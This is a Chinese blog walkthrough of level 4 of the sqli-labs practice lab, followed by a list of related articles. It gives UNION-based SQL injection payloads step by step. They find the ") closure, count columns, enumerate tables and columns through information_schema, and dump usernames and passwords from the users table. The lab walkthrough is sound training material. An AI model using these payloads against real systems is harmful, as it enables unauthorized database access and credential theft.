sqli-labs---第四关

简介: sqli-labs---第四关

1、判断类型的注入

?id=1(正常回显)

?id=1'(正常回显)

?id=1"(报错)

可判断为字符型闭合,")为闭合方式

2、查询列数,判断回显位置

?id=1") order by 3 --+

?id=1") order by 4 --+

判断出有3列

?id=1") and 1=2 union select 1,2,3 --+

2,3位置有回显

3、查询数据库名(库名为security)

?id=1") and 1=2 union select 1,database(),3 --+

4、查询表名(有4张表,我们查询users这张表)


?id=1") and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database(); --+  

5、查询users表中字段


?id=1") and 1=2 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'; --+  

6、查询用户名和密码字段的值 ,用id分隔开方便观看

?id=1") and 1=2 union select 1,database(),group_concat(username,id,password) from security.users --+

相关文章
|
7月前
|
数据安全/隐私保护
【less-4】sqli-labs靶场第四关
【less-4】sqli-labs靶场第四关
|
8月前
|
安全 数据库
sqli-labs---第五关
sqli-labs---第五关
|
8月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第三关
sqli-labs---第三关
|
7月前
|
SQL 安全 关系型数据库
【less-2】sqli-labs靶场第二关
【less-2】sqli-labs靶场第二关
|
7月前
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
|
8月前
|
安全 数据库
sqli-labs---第二关
sqli-labs---第二关
|
8月前
|
SQL PHP 数据库
Sqli-labs靶场搭建
本文章是在自己在使用新版phpstudy搭建靶场过程中遇到了很多问题,但在查询无果后,决定尝试旧版的phpstudy看能否成功,很幸运,成功了,也并不是网上的教程,说是php必须在5.2及以下.我使用的是5.4版本的.是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养
132 1
|
8月前
|
PHP
8、sqli-labs环境
8、sqli-labs环境
50 1
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
190 0
SQLi LABS Less-19
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
271 0
SQLi LABS Less-26